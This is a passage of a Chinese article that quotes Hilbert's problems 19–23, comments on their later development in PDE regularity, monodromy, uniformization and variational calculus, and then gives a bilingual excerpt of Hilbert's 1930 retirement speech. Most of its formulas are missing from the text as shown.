Hodge，1903-1975）推广到高维空间，现在叫做霍奇理论（Hodge theory）。 霍奇理论的证明也遇到了正则性的问题，这可由外尔发现的外尔引理（Weyl's lemma）来解决。最初的方程都是线性椭圆方程，但大部分方程都不是线性的。 (Weyl's Lemma, Version II) Assume is open. If a distribution is a distributional solution to Laplace's equation, i.e. it satisfies the equation then and at every point . 希尔伯特对变分方法很感兴趣。最简单的变分是考虑泛函 其中 是函数。定义 在满足某些边界条件的函数的集合中，我们可以取 的极小值。欧拉推导出使 达到极小值时函数 所要满足的方程： 除非 很特殊，对 来说，这是一个非线性方程 —— 叫做欧拉 - 拉格朗日方程（Euler-Lagrange equation）。 假如 是关于 的凸函数，此时这个方程是椭圆方程。一个重要的例子：当 是 的图像的面积时， 我们得到的欧拉 - 拉格朗日方程叫做极小曲面方程（minimal surface equation）： 希尔伯特想知道椭圆方程解的正则性。 1904 年，伯恩斯坦（Sergei Natanovich Bernstein, 1880-1968）证明了如果两个变量的非线性椭圆方程的系数是解析的，那么它的任何 - 解必是解析的。 1906-1912 年，伯恩斯坦发展了先验估计（a priori estimates）的想法来推导出解的存在性和正则性；他利用最大值原理（maximum principle）来导出估计；他的工作强烈依赖于解析性。 之后，这个结果被热夫雷（Maurice-Joseph Gevrey, 1884-1957）、吉罗（Giraud）、利希滕斯坦（Leon Lichtenstein, 1878-1933）、列维（Hyman Levy, 1889-1975）、霍普夫（Eberhard Frederich Ferdinand Hopf, 1902-1983）、拉多（Tibor Radó, 1895-1965）、彼得罗夫斯基（Ivan Georgiyevich Petrovsky, 1901-1973）和伯恩斯坦本人推广到多变量和椭圆方程组情形。 从 1932-1937 年开始，光滑椭圆方程逐步被列维（Jean Leray, 1906-1988）- 绍德（Juliusz Paweł Schauder, 1899-1943）在 1934 年，以及卡奇奥波利（Renato Caccioppoli, 1904-1959）所理解。 微分方程存在性的证明有多种方法，其中一个是利用无穷维空间里的不动点原理 —— 列维 - 绍德不动点定理（Leray-Schauder fixed point theorem） 。 常用方法如下：原方程是 取一个例子 我们将之线性化，得到线性微分方程 固定 后，对 来说这是线性微分方程。 对椭圆方程来说，绍德发展了一套理论来处理。当系数都满足足够的霍尔德（Hölder）可微条件时，我们可以控制解的可微性（这些理论的基础在于研究拉普拉斯算子及奇异积分（singular integral）的估值）。 由上述线性化方程，得到映射 这个映射 的不动点， 是原来方程的解。 如何选择 所定义的空间使得不动点成立，这引出了估值的问题。 注意到上述方程 ，虽然是线性方程，但是除了系数满足椭圆性外，我们对它们的正则性一无所知。 因此引出了一个重要问题：对线性椭圆方程，有没有办法知道它的解 的连续性估值，使得估值只和系数的椭圆性有关？ 在二维时，经过多人的努力，最后由莫雷（Charles Bradfield Morrey, 1907-1984）在 1938 年解决。 1949 年，莫雷用他的方法解决了有名的二维普拉托（Plateau）问题。 尼伦伯格（Louis Nirenberg, 1925-2020）和波戈列夫（Aleksei Vasilyevich Pogorelov, 1919-2002）用莫雷的方法解决了二维的外尔嵌入问题及闵可夫斯基问题。 高维的情形在 1957-1958 年由德・乔治（Ennio De Giorgi, 1928-1996）及纳什（John Forbes Nash, 1928-2015）用不同的方法解决。纳什用的抛物方程方法，后来成为抛物方程里重要的工具。到了 1960 年，莫泽（Jürgen Kurt Moser, 1928-1999）用索伯列夫不等式证明哈纳克不等式，从而给出了德・乔治定理的不同证明。 这些重要的结果成为椭圆方程里重要的工具。而莫雷的结果成为二维空间单值化（uniformization）最重要的工具。 在空间的维数不大于六的时候，可以证明普拉托问题的解都是光滑的。但是在 中有个圆锥： 西蒙斯（James Harris Simons, 1938-）在 1968 年证明了这个锥是局部极小的。 到了 1969 年，邦别里（Enrico Bombieri, 1940-）- 德・乔治 - 朱斯蒂（Enrico Giusti, 1940-）在论文《极小锥和伯恩斯坦问题》（Minimal cones and the Bernstein problem）中证明了这个锥是极小的。 因此我们知道椭圆变分问题会产生奇异点，对余维数为一的面积极小簇的奇异点集，其豪斯多夫维数不超过 7。 和希尔伯特第 4 问题有关，我们可以问在八维以上的欧氏空间上，是否存在黎曼或芬斯勒度量使得余维数为一的超曲面是面积极小的当且仅当这个超曲面是线性空间？ 极小曲面方程 是拟线性（quasi-linear）方程，即方程对 是线性的。 但是还有所谓完全非线性（fully nonlinear）椭圆方程。这种方程以蒙日 - 安培（Monge–Ampère）方程为主。这个方程是近五十年重要的研究对象，基本上正则性问题也可以解决。 以上论述主要是非线性的标量（scalar）方程，方程组情形极为复杂。当我们讨论柯西 - 黎曼（Cauchy-Riemann）方程、麦克斯韦（Maxwell）方程、狄拉克（Dirac）方程、规范场方程、调和映照方程、高余维极小子簇等时，都在考虑方程组。对于非线性方程组的椭圆性，不容易对付。对高维极小曲面的正则性极为困难，最重要的工作由阿尔姆格伦（Frederick Justin Almgren, 1933-1997）得出：它的奇异点集是余二维的。 20、一般边值问题与上述密切相关的一个重要问题是，当给定了区域边界上的值时，偏微分方程的解是否存在的问题。施瓦茨（H. A. Schwarz）、纽曼（C. Neumann）和庞加莱对位势微分方程的敏锐方法主要解决了这个问题。然而，这些方法似乎通常不能直接推广到沿边界给出微分值或给出这些微商与函数值之间的任何关系的情形。它们也不能立即推广到以下情形：研究不是针对位势曲面，而是针对极小曲面，或高斯曲率为正常数的曲面，这些曲面将通过给定的扭曲线或在给定的环面上拉伸。我深信，有可能通过一个一般原理来证明这些存在性定理，而这个原理的性质由狄利克雷原理来表示。这样一来，这个一般原理也许就能使我们得出这样的问题：如果给定边界条件满足某些假设（比如说，这些边界条件中有关函数是连续的，并且有分段的一阶或高阶导数），并且如果需要的话，解的概念也可以得到适当的推广，那么每个正则变分问题是否总有一个解？ 评论： 对标量的二次方程来说，尤其是椭圆方程，边值条件有： 狄利克雷条件：解是给定的函数。 纽曼条件：解在边界上有给定的一次微分，一般是取法向导数 给定函数 这里 是法向量。 也可以取它们的线性组合： 给定函数 在这个组合中，假如我们取 则当 时我们得到了狄利克雷问题，而当 时我们得到了纽曼问题。所以这两个问题可以用一个圆族（circle family）问题统一起来。 由此产生了狄利克雷谱和纽曼谱的动态联系，可以考虑它们间的关系。当然可以考虑某一类非线性组合的边值条件 我们希望这个问题有离散谱，而对每个谱，谱空间是有限维的，谱满足外尔渐近（Weyl asymptotic）。 夹板问题（clamped plate problem）给出了一个四阶椭圆问题，其边值条件有两个。 对向量值问题来说，边值条件极为复杂，比如流体方程、麦克斯韦方程、爱因斯坦方程、里奇流等方程的边值条件还没有全部了解。 对极小曲面方程，我们比较了解：一个古典的结果由道格拉斯（Jesse Douglas, 1897-1965）及拉多（Tibor Radó, 1895-1965）得到。 在三维欧氏空间中给定一条约当曲线，寻找极小圆盘使得它的边界是给定的这条约当曲线。 假如边界是由多条约当曲线组成，情形就比较复杂。同时，我们也要考虑拓扑上不是圆盘的情形。 除了研究狄利克雷问题外，也可以考虑相应的纽曼问题。例如在空间 中给定一个子流形 ，我们考虑极小曲面和 相交，它的切平面和 的切平面垂直。 很多文献考虑预设平均曲率（prescribed mean curvature）问题，也考虑预设高斯 - 克罗内克曲率（prescribed Gauss-Kronecker curvature）等问题。 近代数学物理考虑一个比较有意思的问题：考虑凯勒流形 中一个拉格朗日子簇（Lagrangian subvariety），我们考虑 中的极小曲面使得它的边界在 里。在弦论中，人们想知道有多少个这样的极小曲面。 21、具有给定奇点和单值群的 Fuchs 类的线性微分方程解的存在性证明。评论： 问题是带正则奇点（regular singular points）和给定单值群（monodromy）的微分方程的存在性。 一个简单情形是开集 上秩为 的线性齐次微分方程，这里 是黎曼面 去掉有限个点。此时的经典情形是 而是仿射直线。 此时我们得到非系统微分方程 这里 是向量值函数，而 是由在 上关于 全纯的有理函数所构成的 矩阵。 允许在无穷远处有极点（pole），同时在无穷远处可以有单值群。 对高亏格的一般曲线，由于没有全局坐标，我们引入联络（connection）的概念：考虑开集 上的局部自由凝聚代数层（locally free coherent algebraic sheaf） ，那么联络就是映射 上的代数形式 满足，这里 是定义在 上的正则函数。 因此，微分方程的解就可以解释为映射 的核。 如果取定 里的点 ，令 附近的局部全纯解的芽 则 是 上的 维空间，这里 。 给定起点和终点都在 处的 中的圈（loop），沿着圈的解析延拓定义了 的自同构，从而定义了 的基本群在空间 上的表示 —— 称为联络的单值群表示（monodromy representation）。 现在我们来解释什么是 “正则奇异点”。对经典的微分方程， 中的点 称为 正则奇异的 ，如果在 周围的穿孔角扇区（punctured angular sector）内，局部全纯解满足如下的增长估计： 当 时， 是有界的。 福克斯（Lazarus Immanuel Fuchs, 1833-1902）观察到，对如下方程 若令 ，我们可以把这个方程重新写成如下形式 其中 。点 是 正则奇异的 当且仅当所有的函数 在 处都是全纯的。 对一般情形，存在局部自由凝聚层 ，它是 的延拓而且在方程的奇异点附近，算子 在 上的作用是稳定的。 希尔伯特问： 之基本群的任意有限维复表示，是否可以从 上的带正则奇异点的微分方程的单值群表示而得到？ 这个问题可追溯到黎曼（Georg Friedrich Bernhard Riemann, 1826-1866），他考虑 是射影直线去除三个不同点的情形。 黎曼寻找到二维表示，同时该理论可归结为超几何方程（hypergeometric equation）。 在函数论范畴内，伯克霍夫（George David Birkhoff, 1884-1944）、普莱梅尔吉（Josip Plemelj, 1873-1967）、罗尔（Helmut Röhrl, 1927-2014）等考虑了希尔伯特问题。 在代数几何和算术几何里，希尔伯特问题是非常重要的问题之一。 如果没有奇异点，那么 ，此时全纯联络就是完全可积的普法夫系统（completely integrable Pfaffian system）。 因此通过单值群表示过程，紧复流形上全纯微分方程的范畴与其基本群的有限维复表示的范畴是等价的。 由塞尔（Jean-Pierre Serre, 1921-）和周炜良（Wei-Liang Chow, 1911-1995）的 GAGA（Géométrie Algébrique et Géométrie Analytique）理论，全纯丛范畴就是代数丛范畴。 非紧版本需要广中平祐（Heisuke Hironaka, 1931-）的奇点消去理论。对射影簇里的扎里斯基开集 ，存在射影光滑流形 使得 是开集而且 是具有正规交叉（normal crossing）的除子。 当 不是唯一时，即对 的两个紧化流形 和 ，存在第三个紧化流形 “控制” 它们 我们可以定义由如下 1 - 形式所构成的层：这些 1 - 形式在除子 的每一点处最多是一阶极点。 我们已有一个定义在局部自由凝聚层 （定义在 上）上的全纯联络，如果 可延拓到 上的某个局部自由凝聚层 使得联络也可延拓到 且系数落在 里，则称微分方程在 上有正则奇异点。 此时，德利涅（Pierre René, Viscount Deligne, 1944-）能够在 1970 年解决希尔伯特第 21 问题。 在此理论里，我们考虑全纯联络，但是我们可以考虑更一般的情形，即考虑全纯丛上更一般的联络。 如果我们要求联络是酉的（unitary），那么根据唐纳森 - 丘成桐 - 乌伦贝克（Donaldson-Yau-Uhlenbeck）定理，存在埃尔米特 - 杨 - 米尔斯联络（Hermitian-Yang-Mills connection）理论。此时对丛上的每个复结构，都对应一个自然的微分方程 —— 埃尔米特 - 杨 - 米尔斯联络。 唐纳森 - 丘成桐 - 乌伦贝克定理表明了，这个方程可解当且仅当丛是多稳定的（polystable）。 如果某些拓扑陈省身类都是平凡的，那么此方程的解将是平坦的（flat）；此时，基本群是酉群（unitary group）的有限维表示，因此与黎曼 - 希尔伯特问题相关联。 辛普森（Carlos Tschudi Simpson, 1962-）将此理论推广到带希格斯场（Higgs field）的丛，且在霍奇理论的形变中有重要的应用。 22. 通过自守函数使解析关系单值化正如庞加莱是第一个证明的那样，通过使用一个变量的自守函数，总是有可能将两个变量之间的任何代数关系简化为均匀性。也就是说，如果给出两个变量中的任何一个代数方程，则对于这些变量，总能找到这样的两个单变量的单值自守函数，它们的代入使给定的代数方程成为恒等式。庞加莱同样成功地尝试了将这个基本定理推广到两个变量之间的任何解析非代数关系，尽管其方式与他在前面提到的特殊问题中所采用的方式完全不同。然而，从庞加莱关于将两个变量之间的任意解析关系单值化可能性的证明来看，不是很清楚解析函数是否可以被确定为满足某些附加条件。也就是说，没有显示是否可以选择一个新变量的两个单值函数，以至于当该变量遍历这些函数的正则区域时，给定解析区域的所有正则点实际上都能达到并表示。恰恰相反，从庞加莱的研究来看，除了分支点之外，似乎还有某些其他的（一般来说是无限多离散的解析区域中的例外点），它们只有通过当新变量接近函数的某些极限点时才能达到。鉴于庞加莱对这个问题的表述具有根本重要性，在我看来，阐明和解决这一困难是非常有必要的。 与这个问题相伴而生的是将三个或更多个复变量之间的代数关系或任何其他解析关系单值化的问题 —— 众所周知，这个问题在许多特定情形下是可以解决的。为了解决这个问题，皮卡最近对两个变量的代数函数的研究被认为是值得欢迎的和重要的初步研究。 评论： 一个 维代数流形 可以看作为一组多项式的公共零点集。解析流形也可以看作为由一组解析函数的公共零点所给出。 单值化（uniformization）可以说是问，可以不可以找到 中一个开集 并找到一个良好的解析映射 其中 是满射同时也是局部一对一的。 假如 不是全局一对一的，我们希望 是个正则覆盖映射（regular covering map）。 假如 是光滑流形，我们希望存在一个离散群 ，而 可以看作为 。 在 而 是光滑时， 有如下三种可能性： 的亏格 ， ：有理曲线（rational curve） 的亏格 ， ， ：椭圆曲线（elliptic curve） 的亏格 ， 圆盘 ， 的离散子群通过线性分式变换作用在圆盘上： 上存在一个共形度量（conformal metric）使得其数量曲率为负常数 1875 年，施瓦兹（Karl Hermann Amandus Schwarz, 1843-1921）曾提出两个不同的方法来证明上述命题：① 一个是利用万有覆盖（universal covering）② 一个是求解偏微分方程， 希尔伯特是用狄利克雷原理，而布劳尔（Luitzen Egbertus Jan Brouwer, 1881-1966）将克莱因（Felix Christian Klein, 1849-1925）及庞加莱的连续性方法（continuity method）用拓扑学的方法严格化。 1907 年，庞加莱和克贝（Paul Koebe, 1882-1945）分别完成了上述的单值化定理。 在亏格 时，也就是椭圆曲线的时候，这些代数曲线可看做 里一条由齐次三次方程的零点所得出的曲线。 它本身可以由格（lattice） 定义的魏尔斯特拉斯 函数以及 函数的导函数 而得到。因为 及 满足三次方程： 这里 和 是两个只和 有关的常数： 而 函数定义在 上，且是双周期的： 所以 定义了一个由 到 的映射，而 的像集 给出了椭圆曲线。 假如椭圆曲线定义在有理数域 上，著名的谷山丰（Yutaka Taniyama, 1927-1958）- 韦伊猜想是说存在模形式（modular form）来参数化这样的椭圆曲线： 等 的共轭子群作用在上半平面 上，得到了模曲线（modular curve） 。猜想是说，我们可以找到 上的模形式来参数化椭圆曲线。 黎曼已经开始研究代数曲线的模空间，在二十世纪，重要的方法分为以下几种：① 几何方法：以意大利学者为主；② 分析方法：由泰希米勒（Paul Julius Oswald Teichmüller, 1913-1943）、阿尔福斯（Lars Valerian Ahlfors, 1907-1996）、贝尔斯（Lipman Bers, 1914-1993）为主；③ 代数方法：由希尔伯特、诺特、扎里斯基、芒福德的代数不变量理论为主。 经典的单值化定理，用来单值化一条代数曲线或解析曲线。椭圆函数理论中有一个例外。对每条亏格为 1 的代数曲线，都存在由四个固定的全纯函数所组成的有理函数参数表示： 函数是魏尔斯特拉斯 函数的第 个导数。 对高亏格 ，我们的兴趣在于了解如何参数化具有固定亏格但不同代数结构的所有代数曲线。 我们希望在 里找到有界区域 ，以及在 里找到依赖于 的约当区域 ，从而找到定义在 上的 个固定的全纯函数。 对每条亏格为 的代数曲线，都存在由这些 个全纯函数所组成的有理函数参数表示（对某些 ）。 经泰希米勒、阿尔福斯和贝尔斯的努力，这个理论得到了发展。给定亏格 的紧致黎曼面，它可以写成上半平面 关于无挠（torsion-free）福克斯群（Fuchsian group） 的商 。 对每个正整数 ，我们都可以找到所谓的全纯自守 - 形式（holomorphic automorphic -form） ，使得它本身是全纯函数且对任意 满足 称为有界的，如果 是有界的，其中 表示庞加莱度量。 所有的有界全纯自守 - 形式构成了一个复巴拿赫空间，且当 是有限型（finite type）时该空间是有限维的。 给定有界的全纯 2 - 形式 ，我们可以找到如下方程 的两个线性独立解 和 。商函数 是局部单叶函数（locally univalent function），且满足关系 这里 表示 的莫比乌斯交换。 通过如下的施瓦茨导数（Schwarzian derivative） 函数 可以从 重新得到。 尼哈里（Zeev Nehari, 1915-1978）证明了 是单叶的，如果 的范数不超过 。 的泰希米勒空间（Teichmüller space）由如下 构成： 是全纯 2 - 形式， 是单叶的，且把上半平面映入以拟圆（quasi-circle）为边界的区域（这里拟圆指的是圆的拟共形映射的像）。 该空间 位于 ，并且阿尔福斯和韦伊证明了 包含半径为 的球。 泰希米勒空间其实也是伯格曼域（Bergman domain）： 里的区域称为伯格曼域，如果它由满足如下性质的点 所构成： 这里 是约当域，一般地， 由 所围成，其中 关于 全纯且关于 连续，且满足 或者 伯格曼域都是全纯域（domain of holomorphy）。 对亏格为 的紧致黎曼面的泰希米勒空间 来说，它是可缩的有界全纯域，且由上述贝尔斯嵌入（Bers embedding）得到的边界并不光滑。 一个有趣的问题是，可否通过不同的嵌入使得边界比较光滑？ 选定定义在上半平面上全纯 3 - 形式空间的一组基 令 此时定义 满足 以这种方式，我们得到了之前的 。 的全纯自同构群由罗伊登（Halsey Lawrence Royden, 1928-1993）证明是映射类群（mapping class group），它是一个离散群，但是我们对它并不十分了解。 假如通过不同的嵌入后，这个群的元素可以延拓为 的双有理变换，我们会对这个群多一些的了解。 高维代数流形的单值化更为复杂，丘在 1973 年提出了如下问题： 1、1961 年，弗兰克尔（Theodore Frankel, 1929-2017）在《具有正曲率的流形》（Manifolds with positive curvature）中提出的弗兰克尔猜想（Frankel conjecture）是说，任意具有正双截面曲率（positive bisectional curvature）的 维紧凯勒流形必定双全纯同构于 。 这个猜想在 1979 年由丘成桐和萧荫棠（Yum-Tong Siu, 1943-），以及森重文（Shigefumi Mori, 1951-）分别独立解决。 对非紧流形，丘提出了如下猜想：任意具有正双截面曲率的 维完备非紧凯勒流形必定双全纯同构于 。这个问题有不少的进展。 2、具有负截面曲率的紧致凯勒流形以有界域为覆盖空间。 这个问题毫无进展。 另一方面，通过凯勒 - 爱因斯坦度量，丘找到 和球商（ball quotient）的拓扑刻画，用陈数（Chern number）来决定。 23、变分法的进一步发展到目前为止，我一般都尽可能地提到明确和特殊的问题，认为正是这些明确和特殊的问题最吸引我们，并且往往对科学产生最持久的影响。然而，我想以一个一般性问题来结束，即在本次演讲中反复提到的一个数学分支 —— 尽管最近魏尔斯特拉斯在这方面取得了巨大的进展，但并没有得到普遍的赞赏，在我看来，这是它应得的 —— 我指的是变分法。 对此缺乏兴趣的部分原因可能是由于需要可靠的现代教科书。更值得称赞的是，克内瑟（A. Kneser）在最近出版的一部著作中，从现代的角度和现代人对严谨性的要求来论述变分法。 从最广义上讲，变分法是函数变分的理论，因此似乎是微积分的必要扩展。从这个意义上说，庞加莱对三体问题的研究，例如庞加莱根据变分原理从已知轨道推导出具有相似性质的新轨道，就构成了变分法的一章。 我在这里补充一个简短的理由，说明我在演讲开始时对变分法的一般性评论。 众所周知，变分法中最简单的问题在于找到变量 的函数 ，使得定积分 与当 被具有相同初边值的 的其他函数替换时所取的值相比达到最小值。 在通常意义下一阶变分消失 给出了关于所求函数 的著名的微分方程 为了更仔细地研究出现所求最小值的充要条件，我们考虑积分 现在我们研究，如何选择 作为 的函数，以便这个积分 的值与积分路径无关，即与关于变量 的函数 的选择无关。积分 有形式 这里 不包含 ，因此在新问题所要求的意义下，一阶变分消失 给出了方程 即得到关于两个变量 的函数 的一阶偏微分方程。 在通常意义下一阶变分消失 给出了关于所求函数 的著名的微分方程 二阶常微分方程（1）和偏微分方程（1'）彼此关系极为密切。通过以下简单的转换，我们立即明白了这种关系： 我们从中推导出以下事实：如果我们构造二阶常微分方程（1）的任意单参数积分曲线族，然后形成一阶常微分方程 它以这些积分曲线为解，那么函数 必是一阶偏微分方程（1'）的积分；反之，如果 表示一阶偏微分方程（1'）的任意解，则一阶常微分方程（2）的所有非奇异积分同时也是二阶微分方程（1）的积分，或者简而言之，如果 是二阶微分方程（1）的一阶微分方程， 表示偏微分方程（1'）的积分，反之亦然；因此，二阶常微分方程的积分曲线同时也是一阶偏微分方程（1'）的特征。 在本例中，我们可以通过简单的计算找到相同的结果；这种计算给所讨论的微分方程（1）和（1'）带来了形式 其中下标表示相对于 的偏导数。由此可以清楚地看出确定关系的正确性。 依我看，二阶常微分方程（1）和一阶偏微分方程（1'）之间的推导过程和刚刚证明的密切关系对于变分法具有根本意义。因为，从积分 独立于积分路径这一事实可以看出 如果我们认为左边积分沿任何路径 ，右边积分沿微分方程 的积分曲线。在方程（3）的帮助下，我们得到了魏尔斯特拉斯公式 这里 表示魏尔斯特拉斯表达式，依赖于 ： 由于解只取决于找到一个积分 ，该积分 在积分曲线 的某个邻域中是单值和连续的，我们正在考虑这一点，因此，刚才的研究立即导致了 —— 没有必要引入二阶变分，而只要把配极过程（polar process）应用于微分方程（1）—— 雅可比条件的表达和问题的答案：雅可比的这个条件与魏尔斯特拉斯的条件 在多大程度上是产生最小值的充要条件？ 上面的研究不需要进一步的计算就可以过渡到两个或多个未知函数的情形，并且还可以过渡到重积分或多重积分的情形。因此，在将重积分 扩展到给定区域 的情形下，一阶变分的消失（在通常意义上理解） 给出了众所周知的关于 函数 的二阶微分方程： 另一方面，我们考虑积分 并问：如何将 和 视为 的函数，使得该积分的值独立于通过给定空间闭曲线的曲面的选择，即独立于关于变量 的函数 的选择。 积分 有形式 且在问题的新公式所要求的意义下，一阶变分的消失 给出了方程， 即，对于三个变量 的函数 和 ，我们得到了一阶微分方程 如果再加上如下偏微分方程 它由方程 得到，那么关于两个变量 的函数 的偏微分方程（I）和三个变量 的函数 和 的两个一阶偏微分方程（I'）和（I''）的联立方程组之间的彼此关系，完全类似于微分方程（1）和（1'）在单积分的情形下。 从积分 与积分曲面 的选择无关这一事实出发，我们得到 如果我们将右边积分视为沿着偏微分方程 的积分曲面 ；借助这个公式我们立即得到公式： 它对重积分变分法所起的作用，与前面给出的单积分情形的公式（4）相同。借助这个公式，我们现在可以回答以下问题：雅可比条件与魏尔斯特拉斯条件 在多大程度上是出现最小值的充要条件。 与这些发展相关的是克内瑟从其他观点出发，提出魏尔斯特拉斯理论的修正形式。虽然魏尔斯特拉斯利用通过一定点的方程（1）的积分曲线来推导出极值的充分条件，但另一方面，克内瑟利用任何这样曲线的单参数族，并为每个这样的族构造出推广雅可比 - 哈密尔顿方程的偏微分方程的一个解，该解对这个单参数族来说是其一个特征。 评论： 变分法（calculus of varitions）主要源于具体问题，例如牛顿研究关于在空气中运动且阻力最小的物体形状的问题，以及伯努利兄弟（约翰、雅各布）在 17 世纪研究的最速下降问题（brachistochrone problem）。在欧拉和拉格朗日的著作之后，该理论变得更加丰富。 1744 年，欧拉推导出了第一个必要条件来确保极小化如下泛函： 泛函 的极小函数的第一变分必须为零。因此，一个极小函数必须满足某个偏微分方程组 —— 称为欧拉 - 拉格朗日方程（Euler-Lagrange equations）。 勒让德（Adrien-Marie Legendre, 1752-1833）、雅可比（Carl Gustav Jacob Jacobi, 1804-1851）、魏尔斯特拉斯（Karl Theodor Wilhelm Weierstrass, 1815-1897）、阿达玛（Jacques Salomon Hadamard, 1865-1963）等导出了更多的必要条件，在这些条件中最重要的是极小函数的第二变分必是非负的。 然而在 1906 年，卡拉西奥多里（Constantin Carathéodory, 1873-1950）证明了带边界 的泛函 有满足勒让德、魏尔斯特拉斯和雅可比条件的极值函数 ，但是这个函数不是上述泛函的极小值，甚至在 的某个邻域内也没有极小值。 黎曼在解决二维势方程的狄利克雷问题（Dirichlet's problem） 时，他通过对狄利克雷积分（Dirichlet's integral） 进行极小化。当时，黎曼假设了极小值时存在的，他称作狄利克雷原理（Dirichlet's principle）。 1870 年，魏尔斯特拉斯对狄利克雷原理提出了批评，这是因为极小化函数的先验存在性没有得到适当论证的支持。他找到了一个变分问题的例子，它不存在极小解： 通过考虑函数族 魏尔斯特拉斯证明了上述泛函的下确界是 ，但是 不满足边值条件。为此，魏尔斯特拉斯引入了极值场（field of extremals）的概念，同时能够找到一个重要的公式用于计算极值函数与假设相同边界值的任何其他连续可微函数之间的积分变化量。这是根据所谓的魏尔斯特拉斯函数完成的。 利用希尔伯特不变积分，希尔伯特给出了这个重要公式的新证明。 这个想法至今影响着所谓的校准几何（calibrated geometry），我们可以如下描述测地线的想法：给定一个不与测地线相交的成对场，我们可以构造一个无散度向量场，其范数不大于 ，并且沿原始极值曲线正交。简单的散度定理表明极值曲线是长度最小混合的（length minimixing）。 一般来说，通过构造范数不大于 并且在给定的最小子流形上范数为 的闭 - 形式，我们可以来检验最小子流形是否是面积最小化的。 这个由维廷格（Wilhelm Wirtinger, 1865-1945）所使用过的论证方法，证明了凯勒流形中的复子流形是体积最小化的。 后来被邦别里（Enrico Bombieri, 1940-）和朱斯蒂（Enrico Giusti, 1940-2024）用于确定西蒙斯锥（Simons cone）的体积是最小化的。哈维（Frank Reese Harvey）和劳森（Herbert Blaine Lawson, 1942-）对其进行了推广，并将该理论称为 “校准几何”。 但直到 19 世纪末，很多数学家都显而易见地认为所考虑问题的解总是存在的。希尔伯特本人在 1900 年第一个给出了狄利克雷原理的完整证明。 之后，众多名家继续研究，包括绍德（Juliusz Paweł Schauder, 1899-1943）、卡奇奥波利（Renato Caccioppoli, 1904-1959）、列维（Beppo Levi, 1875-1961）、富比尼（Guido Fubini, 1879-1943）、莫雷（Charles Bradfield Morrey, 1907-1984）、索伯列夫（Sergei Lvovich Sobolev, 1908-1989）、邦别里、德・乔治（Ennio De Giorgi, 1928-1996）、米兰达（M. Miranda）、莫泽尔（Jürgen Kurt Moser, 1928-1999）、莱迪真斯卡娅（Olga Aleksandrovna Ladyzhenskaya, 1922-2004）、阿龙扎因（Nachman Aronszajn, 1907-1980）、费德勒（Herbert Federer, 1920-2010）、弗莱明（Wendell Helms Fleming, 1928-2023）、阿尔姆格伦（Frederick Justin Almgren, 1933-1997）、西蒙（Leon Melvyn Simon, 1945-）、乌伦贝克（Karen Keskulla Uhlenbeck, 1942-）、孙理察（Richard Melvin Schoen, 1950-）等。 结语提到的问题仅仅是一些例子，然而，他们将足以显示数学科学今天如此丰富、如此多样、如此广泛。人们急切地想知道，数学是否注定要像其他科学那样，被分裂成一个个独立的分支，这些分支的代表人物彼此几乎不能相互理解，它们之间的联系也越来越松散。我不相信，也不希望这样。在我看来，数学科学是一个不可分割的整体，是一个有机体，它的活力取决于各部分的联系。因为尽管有各种各样的数学知识，我们仍然清楚地意识到逻辑的相似性，整个数学思想之间的关系，以及数学各部分之间的无数相似之处。我们还注意到，一个数学理论发展得越好，它的建构就越和谐一致，而且迄今为止这门科学的各个独立分支之间的关系也就揭示得越清楚。因此，随着数学的扩展，它的有机性并没有丧失，而只是更加明显地表现出来。 但是，我们要问的是，随着数学知识的不断扩展，最终研究者会不会不接受所有分支的知识？作为回答，请允许我指出，在数学科学中，每一个真正的进步都伴随着更锋利的工具和更简单的方法的发现，这些工具和方法同时有助于理解更早的理论，并把更早的、更复杂的发展抛在一边。因此，对于个体研究者来说，当他自己制造这些更锋利的工具和更简单的方法时，他可能在数学的各个分支中比任何其他科学中更容易地找到自己的路。 数学的有机统一是这门科学的本质所固有的，因为数学是关于自然现象的一切精确知识的基础。为了使它圆满完成这一崇高的使命，愿新世纪为它带来有天赋的大师和许多热心和热情的门徒！ 1930 退休演讲The instrument that mediates between theory and practice, between thought and observation, is mathematics; it builds the connecting bridge and makes it stronger and stronger. Thus it happens that our entire present-day culture, insofar as it rests on intellectual insight into and harnessing of nature, is founded on mathematics. 在理论与实践、思想与观察之间起中介作用的工具是数学；它搭建起连接的桥梁，并使其越来越坚固。因此，我们当今整个的文化，就其建立在对自然的智力洞察和驾驭之上而言，都是以数学为基础的。 Already, GALILEO said: Only he can understand nature who has learned the language and signs by which it speaks to us; but this language is mathematics and its signs are mathematical figures. KANT declared, “I maintain that in each particular natural science there is only as much true science as there is mathematics.” In fact, we do not master a theory in natural science until we have extracted its mathematical kernel and laid it completely bare. Without mathematics today’s astronomy and physics would be impossible; in their theoretical parts, these sciences unfold directly into mathematics. These, like numerous other applications, give mathematics whatever authority it enjoys with the general public. 伽利略早就说过：只有掌握了大自然向我们表达的语言和符号的人，才能理解大自然；而这种语言就是数学，其符号就是数学图形。康德宣称：“我坚持认为，在每一门具体的自然科学中，只有数学成分才是真正的科学。” 实际上，我们只有在提炼出自然科学理论中的数学核心并将其完全展现出来之后，才算真正掌握了这一理论。没有数学，当今的天文学和物理学就不可能存在；在理论部分，这些科学直接演变为数学。这些，以及众多其他应用，赋予了数学在公众心目中的权威地位。 Nevertheless, all mathematicians have refused to let applications serve as the standard of value for mathematics. GAUSS spoke of the magical attraction that made number theory the favorite science for the first mathematicians, not to mention its inexhaustible richness, in which it so far surpasses all other parts of mathematics. KRONECKER compared number theorists with the Lotus Eaters, who, once they had sampled that delicacy, could never do without it. 然而，所有数学家都拒绝让应用成为数学的价值标准。高斯谈到一种神奇的吸引力，使得数论成为最早一批数学家最钟爱的学科，更不用说它那取之不尽的丰富性，这一点远超数学的其他分支。克罗内克将数论学家比作《奥德赛》中的食莲者，他们一旦尝过那种美味，就再也离不开它了。 With astonishing sharpness, the great mathematician POINCARÉ once attacked TOLSTOY, who had suggested that pursuing “science for science’s sake” is foolish. The achievements of industry, for example, would never have seen the light of day had the practical-minded existed alone and had not these advances been pursued by disinterested fools. 这位伟大的数学家庞加莱以惊人的犀利笔触，对托尔斯泰进行了猛烈抨击。托尔斯泰曾提出，仅仅为了 “科学而科学” 是愚蠢的。例如，工业的种种成就若仅由那些注重实际的人来实现，而没有那些不图回报的傻瓜去推动这些进步的话，它们根本就不会问世。 The glory of the human spirit, so said the famous Königsberg mathematician JACOBI, is the single purpose of all science. 著名的柯尼斯堡数学家雅可比曾说过：“人类精神的光辉之处在于，所有科学都只有一个共同的目标。” We must not believe those, who today with philosophical bearing and a tone of superiority prophesy the downfall of culture and accept the ignorabimus. For us there is no ignorabimus, and in my opinion even none whatever in natural science. In place of the foolish ignorabimus let stand our slogan: 